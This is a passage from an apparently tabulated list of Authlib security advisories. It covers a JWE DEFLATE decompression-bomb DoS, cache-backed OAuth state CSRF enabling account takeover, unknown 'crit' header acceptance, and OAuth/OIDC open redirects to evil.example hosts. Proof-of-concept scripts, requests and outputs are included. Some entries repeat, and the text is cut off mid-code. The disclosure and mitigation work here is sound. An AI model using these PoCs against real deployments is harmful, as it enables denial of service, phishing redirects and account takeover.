- For additional defence in depth, reject JWS/JWT inputs above a few kilobytes at the proxy or WAF layer, and rate-limit verification endpoints.
**Workarounds (temporary)**
- Enforce input size limits before handing tokens to Authlib.
- Use application-level throttling to reduce amplification risk.
**Resources**
- Demo script: jws_segment_dos_demo.py
- Tests: authlib/tests/dos/test_jose_dos.py
- OWASP JWT Cheat Sheet (DoS guidance) | ||
| medium | any | 1.6.5 | Authlib : JWE zip=DEF decompression bomb enables DoS ### Summary
_Authlib’s JWE `zip=DEF` path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service._
### Details
- Affected component: Authlib JOSE, JWE `zip=DEF` (DEFLATE) support.
- In `authlib/authlib/jose/rfc7518/jwe_zips.py`, `DeflateZipAlgorithm.decompress` calls `zlib.decompress(s, -zlib.MAX_WBITS)` without a maximum output limit. This permits unbounded expansion of compressed payloads.
- In the JWE decode flow (`authlib/authlib/jose/rfc7516/jwe.py`), when the protected header contains `"zip": "DEF"`, the library routes the decrypted ciphertext into the `decompress` method and assigns the fully decompressed bytes to the plaintext field before returning it. No streaming limit or quota is applied.
- Because DEFLATE achieves extremely high ratios on highly repetitive input, an attacker can craft a tiny `zip=DEF` ciphertext that inflates to a very large plaintext during decrypt, spiking RSS and CPU. Repeated requests can starve the process or host.
Code references (from this repository version):
- `authlib/authlib/jose/rfc7518/jwe_zips.py` – `DeflateZipAlgorithm.decompress` uses unbounded `zlib.decompress`.
- `authlib/authlib/jose/rfc7516/jwe.py` – JWE decode path applies `zip_.decompress(msg)` when `zip=DEF` is present in the header.
Contrast: The `joserfc` project guards `zip=DEF` decompression with a fixed maximum (256 KB) and raises `ExceededSizeError` if output would exceed this limit, preventing the bomb. Authlib lacks such a guard in this codebase snapshot.
### PoC
Environment: Python 3.10+ inside a venv; Authlib installed editable from this repository so source changes are visible. The PoC script demonstrates both a benign and a compressible-bomb payload and prints wall/CPU time, RSS, and size ratios.
1) Create venv and install Authlib (editable):
Set current directory to /authlib
Download [jwe_deflate_dos_demo.py](https://github.com/user-attachments/files/22519553/jwe_deflate_dos_demo.py) in /authlib
```
python3 -m venv .venv
.venv/bin/pip install --upgrade pip
.venv/bin/pip install -e .
```
2) Run the PoC (included in this repo):
```
.venv/bin/python /authlib/jwe_deflate_dos_demo.py --size 50 --max-rss-mb 2048
```
Sample output (abridged):
```
LOCAL TEST ONLY – do not send to third-party systems.
Runtime: Python 3.13.6 / Authlib 1.6.4 / zip=DEF via A256GCM
[CASE] normal plaintext=13B ciphertext=117B decompressed=13B wall_s=0.000 cpu_s=0.000 peak_rss_mb=31.0 ratio=0.1
[CASE] malicious plaintext=50MB ciphertext=~4KB decompressed=50MB wall_s=~2.3 cpu_s=~2.2 peak_rss_mb=800+ ratio=12500+
```
The second case shows the decompression spike: a few KB of ciphertext forces allocation and processing of ~50 MB during decrypt. Repeated requests can quickly exhaust available memory and CPU.
Reproduction notes:
- Algorithm: `alg=dir`, `enc=A256GCM`, header includes `{ "zip": "DEF" }`.
- The PoC uses a 32‑byte local symmetric key and a highly compressible payload (`"A" * N`).
- Increase `--size` to stress memory; the `--max-rss-mb` flag helps avoid destabilizing the host during testing.
### Impact
- Effect: Denial of service (memory/CPU exhaustion) during JWE decrypt of `zip=DEF` tokens.
- Who is impacted: Any service that uses Authlib to decrypt JWE tokens with `zip=DEF` and where an attacker can submit tokens that will be successfully decrypted (e.g., shared `dir` key, token reflection, or compromised/abused issuers).
- Confidentiality/Integrity: No direct C/I impact; availability impact is high.
### Severity (CVSS v3.1)
Base vector (typical shared‑secret scenario where the attacker must produce a decryptable token):
- `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` → 6.5 (MEDIUM)
**Rationale:**
- Network‑reachable (AV:N), low complexity (AC:L), no user interaction (UI:N), scope unchanged (S:U).
- Attacker must hold or gain ability to mint a decryptable token for the target (PR:L) — common with `alg=dir` and shared keys across services.
- No confidentiality or integrity loss (C:N/I:N); availability is severely impacted (A:H) due to decompression expansion.
If arbitrary unprivileged parties can submit JWEs that will be decrypted (PR:N), the base vector becomes:
- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → 7.5 (HIGH)
### Mitigations / Workarounds
- Reject or strip `zip=DEF` for inbound JWEs at the application boundary until a fix is available.
- Fork and add a bounded decompression guard (e.g., `zlib.decompress(..., max_length)` via `decompressobj().decompress(data, MAX_SIZE)`), returning an error when output exceeds a safe limit.
- Enforce strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting.
### Remediation Guidance (for maintainers)
- Mirror `joserfc`’s approach: add a conservative maximum output size (e.g., 256 KB by default) and raise a specific error when exceeded; document a controlled way to raise this ceiling for trusted environments.
- Consider streaming decode with chunked limits to avoid large single allocations.
### References
- Authlib source: `authlib/authlib/jose/rfc7518/jwe_zips.py`, `authlib/authlib/jose/rfc7516/jwe.py` | ||
| medium | 1.0.0 | 1.6.6 | Authlib has 1-click Account Takeover vulnerability # Security Advisory: Cache-Backed State Storage CSRF in Authlib
The Security Labs team at Snyk has reported a security issue affecting Authlib, identified during a recent research project.
The Snyk Security Labs team has identified a vulnerability that can result in a one-click account takeover in applications that utilize the Authlib library.
## Description
Cache-backed state/request-token storage is not tied to the initiating user session, making CSRF possible for any attacker that possesses a valid state value (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, `FrameworkIntegration.set_state_data` writes the entire state blob under `_state_{app}_{state}`, and `get_state_data` disregards the caller's session entirely. [1][2]
```py
def _get_cache_data(self, key):
value = self.cache.get(key)
if not value:
return None
try:
return json.loads(value)
except (TypeError, ValueError):
return None
[snip]
def get_state_data(self, session, state):
key = f"_state_{self.name}_{state}"
if self.cache:
value = self._get_cache_data(key)
else:
value = session.get(key)
if value:
return value.get("data")
return None
```
*authlib/integrations/base_client/framework_integration.py:12-41*
Retrieval in `authorize_access_token` therefore succeeds for whichever browser presents that opaque value, and the token exchange proceeds with the attacker's authorization code. [3]
```py
def authorize_access_token(self, **kwargs):
"""Fetch access token in one step.
:return: A token dict.
"""
params = request.args.to_dict(flat=True)
state = params.get("oauth_token")
if not state:
raise OAuthError(description='Missing "oauth_token" parameter')
data = self.framework.get_state_data(session, state)
if not data:
raise OAuthError(description='Missing "request_token" in temporary data')
params["request_token"] = data["request_token"]
params.update(kwargs)
self.framework.clear_state_data(session, state)
token = self.fetch_access_token(**params)
self.token = token
return token
```
*authlib/integrations/flask_client/apps.py:57-76*
This opens up an avenue for Login CSRF in applications that use cache-backed storage. Depending on the dependent application's implementation (e.g., whether it links accounts in the event of a login CSRF), this could lead to account takeover.
## Proof of Concept
Consider a hypothetical application — AwesomeAuthlibApp. Assume that AwesomeAuthlibApp contains internal logic such that, when an already authenticated user performs a `callback` request, the application links the newly provided SSO identity to the existing user account associated with that request.
Under these conditions, an attacker can achieve account takeover within the application by performing the following actions:
1. The attacker initiates an SSO OAuth flow but halts the process immediately before the callback request is made to AwesomeAuthlibApp.
2. The attacker then induces a logged-in user (via phishing, a drive-by attack, or similar means) to perform a GET request containing the attacker's state value and authorization code to the AwesomeAuthlibApp callback endpoint. Because Authlib does not verify whether the state token is bound to the session performing the callback, the callback is processed, the authorization code is sent to the provider, and the account linking proceeds.
Once the GET request is executed, the attacker's SSO account becomes permanently linked to the victim's AwesomeAuthlibApp account.
## Suggested Fix
Per the OAuth RFC [4], the state parameter should be tied to the user's session to prevent exactly such scenarios. One straightforward method of mitigating this issue is to continue storing the state in the session even when caching is enabled.
An alternative approach would be to hash the session ID (or another per-user secret derived from the session) into the cache key. This ensures the state remains stored in the cache while still being bound to the session of the user that initiated the OAuth flow.
## Resources
- [1] [flask_client/apps.py#L35](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L35)
- [2] [base_client/framework_integration.py#L33](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/base_client/framework_integration.py#L33)
- [3] [flask_client/apps.py#L57](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L57)
- [4] [RFC 6749 §10.12](https://www.rfc-editor.org/rfc/rfc6749#section-10.12) | ||
| medium | any | 1.6.4 | Authlib: JWS/JWT accepts unknown crit headers (RFC violation → possible authz bypass) ## Summary
Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (`crit`), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, `bork` or `cnf`) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation.
## Affected Component and Versions
- Library: Authlib (JWS verification)
- API: `authlib.jose.JsonWebSignature.deserialize_compact(...)`
- Version tested: 1.6.3
- Configuration: Default; no allowlist or special handling for `crit`
## Details
RFC 7515 (JWS) §4.1.11 defines `crit` as a “must‑understand” list: recipients MUST understand and enforce every header parameter listed in `crit`, otherwise they MUST reject the token. Security‑sensitive semantics such as token binding (e.g., `cnf` from RFC 7800) are often conveyed via `crit`.
Observed behavior with Authlib 1.6.3:
- When a compact JWS contains a protected header with `crit: ["cnf"]` and a `cnf` object, or `crit: ["bork"]` with an unknown parameter, Authlib verifies the signature and returns the payload without rejecting the token or enforcing semantics of the critical parameter.
- By contrast, Java Nimbus JOSE+JWT (9.37.x) and Node `jose` v5 both reject such tokens by default when `crit` lists unknown names.
Impact in heterogeneous fleets:
- A strict ingress/gateway (Nimbus/Node) rejects a token, but a lenient Python microservice (Authlib) accepts the same token. This split‑brain acceptance bypasses intended security policies and can enable replay or privilege escalation if `crit` carries binding or policy information.
## Proof of Concept (PoC)
This repository provides a multi‑runtime PoC demonstrating the issue across Python (Authlib), Node (`jose` v5), and Java (Nimbus).
### Prerequisites
- Python 3.8+
- Node.js 18+
- Java 11+ with Maven
### Setup
Enter the directory **authlib-crit-bypass-poc** & run following commands.
```bash
make setup
make tokens
```
### Tokens minted
- `tokens/unknown_crit.jwt` with protected header:
`{ "alg": "HS256", "crit": ["bork"], "bork": "x" }`
- `tokens/cnf_header.jwt` with protected header:
`{ "alg": "HS256", "crit": ["cnf"], "cnf": {"jkt": "thumb-42"} }`
### Reproduction
Run the cross‑runtime demo:
```bash
make demo
```
Expected output for each token (strict verifiers reject; Authlib accepts):
For `tokens/unknown_crit.jwt`:
```
Strict(Nimbus): REJECTED (unknown critical header: bork)
Strict(Node jose): REJECTED (unrecognized crit)
Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}
```
For `tokens/cnf_header.jwt`:
```
Strict(Nimbus): REJECTED (unknown critical header: cnf)
Strict(Node jose): REJECTED (unrecognized crit)
Lenient(Authlib): ACCEPTED -> payload={'sub': '123', 'role': 'user'}
```
Environment notes:
- Authlib version used: `1.6.3` (from PyPI)
- Node `jose` version: `^5`
- Nimbus JOSE+JWT version: `9.37.x`
- HS256 secret is 32 bytes to satisfy strict verifiers: `0123456789abcdef0123456789abcdef`
## Impact
- Class: Violation of JWS `crit` “must‑understand” semantics; specification non‑compliance leading to authentication/authorization policy bypass.
- Who is impacted: Any service that relies on `crit` to carry mandatory security semantics (e.g., token binding via `cnf`) or operates in a heterogeneous fleet with strict verifiers elsewhere.
- Consequences: Split‑brain acceptance (gateway rejects while a backend accepts), replay, or privilege escalation if critical semantics are ignored.
## References
- RFC 7515: JSON Web Signature (JWS), §4.1.11 `crit`
- RFC 7800: Proof‑of‑Possession Key Semantics for JWTs (`cnf`) | ||
| medium | any | 1.3.1 | PYSEC-2024-52: advisory lepture Authlib before 1.3.1 has algorithm confusion with asymmetric public keys. Unless an algorithm is specified in a jwt.decode call, HMAC verification is allowed with any asymmetric public key. (This is similar to CVE-2022-29217 and CVE-2024-33663.) | fixed | osv:PYSEC-2024-52 |
| medium | any | 1.6.10 | Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type ### Summary
Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.
The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.
It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.
### Details
The root cause is that `AuthorizationServer.get_authorization_grant()` copies the raw request
`redirect_uri` into an `UnsupportedResponseTypeError` before any client has been resolved and
before any redirect URI validation has happened:
```python
# authlib/oauth2/rfc6749/authorization_server.py
raise UnsupportedResponseTypeError(
f"The response type '{request.payload.response_type}' is not supported by the server.",
request.payload.response_type,
redirect_uri=request.payload.redirect_uri,
)
That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib
automatically returns a redirect response to that URI:
# authlib/oauth2/base.py
def __call__(self, uri=None):
if self.redirect_uri:
params = self.get_body()
loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
return 302, "", [("Location", loc)]
return super().__call__(uri=uri)
This means an unsupported response_type request can force the authorization server to redirect
to an attacker-controlled URL even when:
1. no valid client exists,
2. no grant matched the request,
3. no registered redirect_uri was ever checked.
This is not a contrived code path. It is reachable through the normal Authlib authorization
endpoint flow documented for Flask and Django integrations, where applications are told to call
server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.
Relevant source and documentation references:
- authlib/oauth2/rfc6749/authorization_server.py
- authlib/oauth2/base.py
- docs/flask/2/authorization-server.rst
- docs/django/2/authorization-server.rst
### PoC
Local test environment:
- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
- git describe: v1.6.6-104-g68e6ab3f
- Python virtualenv: ./.venv
- Environment variable: AUTHLIB_INSECURE_TRANSPORT=true
Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.
It does not create the vulnerable behavior. In a real deployment the same logic is reachable
over HTTPS.
Run this exact PoC from the repository root:
export AUTHLIB_INSECURE_TRANSPORT=true
./.venv/bin/python - <<'PY'
import os, json
from flask import Flask, request
from authlib.integrations.flask_oauth2 import AuthorizationServer
from authlib.oauth2 import OAuth2Error
from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
class AuthorizationCodeGrant(_AuthorizationCodeGrant):
def save_authorization_code(self, code, request):
raise RuntimeError("not reached")
def query_authorization_code(self, code, client):
return None
def delete_authorization_code(self, authorization_code):
pass
def authenticate_user(self, authorization_code):
return None
app = Flask(__name__)
app.secret_key = "testing"
server = AuthorizationServer(
app,
query_client=lambda client_id: None,
save_token=lambda token, request: None,
)
server.register_grant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET", "POST"])
def authorize():
try:
grant = server.get_consent_grant(end_user=None)
except OAuth2Error as error:
return server.handle_error_response(request, error)
return server.create_authorization_response(grant=grant, grant_user=None)
with app.test_client() as c:
cases = {
"without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1",
"with_attacker_redirect_uri": "/oauth/authorize?response_type=totally-
unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
}
out = {}
for name, url in cases.items():
r = c.get(url)
out[name] = {
"status": r.status_code,
"location": r.headers.get("Location"),
"body": r.get_data(as_text=True),
}
print(json.dumps(out, indent=2))
PY
Observed result:
{
"without_redirect_uri": {
"status": 400,
"location": null,
"body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
unsupported\", \"state\": \"s1\"}"
},
"with_attacker_redirect_uri": {
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
}
This demonstrates that the only difference between a local error and an external redirect is
whether the attacker supplies redirect_uri.
The same behavior was locally reproduced with the Django integration using RequestFactory; it
returned:
{
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
### Impact
This is an unauthenticated open redirect in an internet-facing authorization endpoint.
Who is impacted:
- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
endpoint flow.
- No special feature flag is required beyond running the authorization endpoint itself.
Attacker prerequisites:
- None beyond the ability to send a victim to a crafted authorization URL.
Practical harm:
- Phishing and credential theft by abusing a trusted authorization server domain as a
redirector.
- Bypass of domain-based allowlists that trust the authorization server's host.
- SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
reject unregistered redirect URIs before redirecting.
The issue is especially concerning because the redirect happens before client existence and
redirect URI legitimacy are established. | ||
| medium | 1.7.0 | 1.7.1 | Authlib OIDC Implicit/Hybrid Authorization Vulnerable to Open Redirect ### Summary
An unauthenticated open redirect in Authlib's `OpenIDImplicitGrant` and `OpenIDHybridGrant` authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the `openid` scope.
### Details
#### Vulnerable code
`OpenIDImplicitGrant.validate_authorization_request` in `authlib/oidc/core/grants/implicit.py`:
```python
def validate_authorization_request(self):
if not is_openid_scope(self.request.payload.scope):
raise InvalidScopeError(
"Missing 'openid' scope",
redirect_uri=self.request.payload.redirect_uri, # ← raw, unvalidated
redirect_fragment=True,
)
redirect_uri = super().validate_authorization_request()
...
```
`OpenIDHybridGrant.validate_authorization_request` in `authlib/oidc/core/grants/hybrid.py` shares the same pattern.
#### Root cause
Both methods perform the `openid` scope presence check before delegating to `super().validate_authorization_request()`, which is where `AuthorizationEndpointMixin.validate_authorization_redirect_uri` validates the requested `redirect_uri` against the client's `check_redirect_uri(...)`. The `InvalidScopeError` thrown by the scope check therefore carries attacker-controlled `self.request.payload.redirect_uri`.
`OAuth2Error.__call__` in `authlib/oauth2/base.py` renders any error with a non-empty `redirect_uri` as an HTTP 302:
```python
def __call__(self, uri=None):
if self.redirect_uri:
params = self.get_body()
loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
return 302, "", [("Location", loc)]
return super().__call__(uri=uri)
```
A malformed authorization request that selects `OpenIDImplicitGrant` or `OpenIDHybridGrant` and omits the `openid` scope is therefore redirected to a fully attacker-chosen URL.
This is a variant of the issue fixed in commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) ("fix: redirecting to unvalidated `redirect_uri` on `UnsupportedResponseTypeError`") that was missed in the OIDC Implicit and Hybrid grants.
#### Preconditions
1. The server registers `OpenIDImplicitGrant` or `OpenIDHybridGrant` (standard OIDC Implicit or Hybrid flow support).
2. The attacker's request uses a `response_type` that matches either grant: `id_token`, `id_token token`, `code id_token`, `code token`, or `code id_token token`.
3. `scope` does not contain `openid`.
4. Any `redirect_uri` value.
No user authentication, no consent, no valid session, no CSRF token, and — notably — no valid `client_id` are required. The scope check runs before any client lookup, so any `client_id` value (including nonexistent ones) reaches the vulnerable code path.
### PoC
The following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL:
```
GET /oauth/authorize
?response_type=id_token
&client_id=anything
&scope=profile
&redirect_uri=https%3A%2F%2Fevil.example.com%2Fphish
&state=s&nonce=n HTTP/1.1
Host: victim-op.example
```
Server response:
```
HTTP/1.1 302 Found
Location: https://evil.example.com/phish#error=invalid_scope&error_description=Missing+%27openid%27+scope&state=s
```
### Impact
- Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP.
- Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack.
- RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a `redirect_uri` that has not been validated against the client's registered URIs, even in error responses. The `state` parameter is echoed back, giving the attacker site a stable correlator.
- No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect.
#### Affected deployments
Any application using Authlib as an OIDC provider that registers `OpenIDImplicitGrant` and/or `OpenIDHybridGrant` — i.e. anyone supporting the Implicit flow or the Hybrid flow (`response_type=code id_token`, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue.
Authorization servers that only register the plain `AuthorizationCodeGrant` (code flow, with or without PKCE and the `OpenIDCode` extension) are not affected by this specific variant: the code-flow grant validates `redirect_uri` before raising scope errors. If you were affected by the sibling issue fixed in `3be08468` (`UnsupportedResponseTypeError`), you should already be on `1.6.10` or later; this advisory is independent of that fix.
### Suggested fix
The attached `fix-oidc-open-redirect.patch` reorders each method to delegate to its super (or call `validate_code_authorization_request` for Hybrid) first, and then performs the `openid`-scope check with the validated `redirect_uri` variable.
```python
# authlib/oidc/core/grants/implicit.py
def validate_authorization_request(self):
redirect_uri = super().validate_authorization_request() # runs client + redirect_uri validation
if not is_openid_scope(self.request.payload.scope):
raise InvalidScopeError(
"Missing 'openid' scope",
redirect_uri=redirect_uri, # validated
redirect_fragment=True,
)
try:
validate_nonce(self.request, self.exists_nonce, required=True)
except OAuth2Error as error:
error.redirect_uri = redirect_uri
error.redirect_fragment = True
raise error
return redirect_uri
```
An equivalent transform is applied to `OpenIDHybridGrant.validate_authorization_request`, invoking `validate_code_authorization_request` first and only then checking `is_openid_scope`.
Alternatively, inline a `client = query_client(request.payload.client_id)` + `client.check_redirect_uri(request.payload.redirect_uri)` guard before populating `redirect_uri` on the error — the pattern used in `3be08468`.
The patch also adds regression tests analogous to `test_unsupported_response_type_does_not_redirect` from commit `3be08468`, asserting `rv.status_code == 400` and `rv.headers.get("Location") is None` for an unregistered `redirect_uri` with a non-`openid` scope.
### Workarounds
No clean server-side workaround exists short of patching. Partial mitigations:
- Unregister `OpenIDImplicitGrant` and `OpenIDHybridGrant` if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.)
- Front the `/authorize` endpoint with a reverse proxy rule that rejects requests containing both a `redirect_uri` parameter and a `scope` that does not include `openid` when `response_type` matches the vulnerable set. This is fragile and not recommended as a primary control.
### References
- RFC 6749, §4.1.2.1 — Error Response (OAuth 2.0 authorization endpoint)
- RFC 9700, §4.11 — Redirect URI validation
- OpenID Connect Core 1.0, §3.2.2.6 / §3.3.2.6 — Authentication Error Response
- Authlib commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) — prior fix for the same class of issue in `UnsupportedRespo | ||
| medium | any | 1.6.11 | Authlib: Cross-site request forging when using cache ### Summary
There is no CSRF protection on the cache feature on most integrations clients.
### Details
In `authlib.integrations.starlette_client.OAuth`, no CSRF protection is set up when using the cache parameter. When _not_ using the cache parameter, the use of SessionMiddleware ties the client to the auth state, preventing CSRF attacks. With the cache, there is no such mechanism. Other integratons have the same issue, it's not just starlette.
The state parameter is taken from the callback URL and the state is fetched from the cache without checking that it is the same client calling the redirect endpoint as was the one that initiated the auth flow.
This issue is documented in RFC 6749 section 10.12:
https://datatracker.ietf.org/doc/html/rfc6749#section-10.12
### PoC
- Set up a Starlette integration with a cache
- The attacker starts the auth flow up until before the callback URL is followed.
- The attacked sends the redirect URL to the victim
- The victim now completes the authorisation
### Impact
This impacts all users that use the cache to store auth state.
All users will be vulnerable to CSRF attacks and may have an attacker's account tied to their own. | fixed | osv:GHSA-jj8c-mmj3-mmgv |
| medium | any | 1.6.5 | Authlib : JWE zip=DEF decompression bomb enables DoS ### Summary
_Authlib’s JWE `zip=DEF` path performs unbounded DEFLATE decompression. A very small ciphertext can expand into tens or hundreds of megabytes on decrypt, allowing an attacker who can supply decryptable tokens to exhaust memory and CPU and cause denial of service._
### Details
- Affected component: Authlib JOSE, JWE `zip=DEF` (DEFLATE) support.
- In `authlib/authlib/jose/rfc7518/jwe_zips.py`, `DeflateZipAlgorithm.decompress` calls `zlib.decompress(s, -zlib.MAX_WBITS)` without a maximum output limit. This permits unbounded expansion of compressed payloads.
- In the JWE decode flow (`authlib/authlib/jose/rfc7516/jwe.py`), when the protected header contains `"zip": "DEF"`, the library routes the decrypted ciphertext into the `decompress` method and assigns the fully decompressed bytes to the plaintext field before returning it. No streaming limit or quota is applied.
- Because DEFLATE achieves extremely high ratios on highly repetitive input, an attacker can craft a tiny `zip=DEF` ciphertext that inflates to a very large plaintext during decrypt, spiking RSS and CPU. Repeated requests can starve the process or host.
Code references (from this repository version):
- `authlib/authlib/jose/rfc7518/jwe_zips.py` – `DeflateZipAlgorithm.decompress` uses unbounded `zlib.decompress`.
- `authlib/authlib/jose/rfc7516/jwe.py` – JWE decode path applies `zip_.decompress(msg)` when `zip=DEF` is present in the header.
Contrast: The `joserfc` project guards `zip=DEF` decompression with a fixed maximum (256 KB) and raises `ExceededSizeError` if output would exceed this limit, preventing the bomb. Authlib lacks such a guard in this codebase snapshot.
### PoC
Environment: Python 3.10+ inside a venv; Authlib installed editable from this repository so source changes are visible. The PoC script demonstrates both a benign and a compressible-bomb payload and prints wall/CPU time, RSS, and size ratios.
1) Create venv and install Authlib (editable):
Set current directory to /authlib
Download [jwe_deflate_dos_demo.py](https://github.com/user-attachments/files/22519553/jwe_deflate_dos_demo.py) in /authlib
```
python3 -m venv .venv
.venv/bin/pip install --upgrade pip
.venv/bin/pip install -e .
```
2) Run the PoC (included in this repo):
```
.venv/bin/python /authlib/jwe_deflate_dos_demo.py --size 50 --max-rss-mb 2048
```
Sample output (abridged):
```
LOCAL TEST ONLY – do not send to third-party systems.
Runtime: Python 3.13.6 / Authlib 1.6.4 / zip=DEF via A256GCM
[CASE] normal plaintext=13B ciphertext=117B decompressed=13B wall_s=0.000 cpu_s=0.000 peak_rss_mb=31.0 ratio=0.1
[CASE] malicious plaintext=50MB ciphertext=~4KB decompressed=50MB wall_s=~2.3 cpu_s=~2.2 peak_rss_mb=800+ ratio=12500+
```
The second case shows the decompression spike: a few KB of ciphertext forces allocation and processing of ~50 MB during decrypt. Repeated requests can quickly exhaust available memory and CPU.
Reproduction notes:
- Algorithm: `alg=dir`, `enc=A256GCM`, header includes `{ "zip": "DEF" }`.
- The PoC uses a 32‑byte local symmetric key and a highly compressible payload (`"A" * N`).
- Increase `--size` to stress memory; the `--max-rss-mb` flag helps avoid destabilizing the host during testing.
### Impact
- Effect: Denial of service (memory/CPU exhaustion) during JWE decrypt of `zip=DEF` tokens.
- Who is impacted: Any service that uses Authlib to decrypt JWE tokens with `zip=DEF` and where an attacker can submit tokens that will be successfully decrypted (e.g., shared `dir` key, token reflection, or compromised/abused issuers).
- Confidentiality/Integrity: No direct C/I impact; availability impact is high.
### Severity (CVSS v3.1)
Base vector (typical shared‑secret scenario where the attacker must produce a decryptable token):
- `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` → 6.5 (MEDIUM)
**Rationale:**
- Network‑reachable (AV:N), low complexity (AC:L), no user interaction (UI:N), scope unchanged (S:U).
- Attacker must hold or gain ability to mint a decryptable token for the target (PR:L) — common with `alg=dir` and shared keys across services.
- No confidentiality or integrity loss (C:N/I:N); availability is severely impacted (A:H) due to decompression expansion.
If arbitrary unprivileged parties can submit JWEs that will be decrypted (PR:N), the base vector becomes:
- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → 7.5 (HIGH)
### Mitigations / Workarounds
- Reject or strip `zip=DEF` for inbound JWEs at the application boundary until a fix is available.
- Fork and add a bounded decompression guard (e.g., `zlib.decompress(..., max_length)` via `decompressobj().decompress(data, MAX_SIZE)`), returning an error when output exceeds a safe limit.
- Enforce strict maximum token sizes and fail fast on oversized inputs; combine with rate limiting.
### Remediation Guidance (for maintainers)
- Mirror `joserfc`’s approach: add a conservative maximum output size (e.g., 256 KB by default) and raise a specific error when exceeded; document a controlled way to raise this ceiling for trusted environments.
- Consider streaming decode with chunked limits to avoid large single allocations.
### References
- Authlib source: `authlib/authlib/jose/rfc7518/jwe_zips.py`, `authlib/authlib/jose/rfc7516/jwe.py` | ||
| medium | 1.0.0 | 1.6.6 | Authlib has 1-click Account Takeover vulnerability # Security Advisory: Cache-Backed State Storage CSRF in Authlib
The Security Labs team at Snyk has reported a security issue affecting Authlib, identified during a recent research project.
The Snyk Security Labs team has identified a vulnerability that can result in a one-click account takeover in applications that utilize the Authlib library.
## Description
Cache-backed state/request-token storage is not tied to the initiating user session, making CSRF possible for any attacker that possesses a valid state value (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, `FrameworkIntegration.set_state_data` writes the entire state blob under `_state_{app}_{state}`, and `get_state_data` disregards the caller's session entirely. [1][2]
```py
def _get_cache_data(self, key):
value = self.cache.get(key)
if not value:
return None
try:
return json.loads(value)
except (TypeError, ValueError):
return None
[snip]
def get_state_data(self, session, state):
key = f"_state_{self.name}_{state}"
if self.cache:
value = self._get_cache_data(key)
else:
value = session.get(key)
if value:
return value.get("data")
return None
```
*authlib/integrations/base_client/framework_integration.py:12-41*
Retrieval in `authorize_access_token` therefore succeeds for whichever browser presents that opaque value, and the token exchange proceeds with the attacker's authorization code. [3]
```py
def authorize_access_token(self, **kwargs):
"""Fetch access token in one step.
:return: A token dict.
"""
params = request.args.to_dict(flat=True)
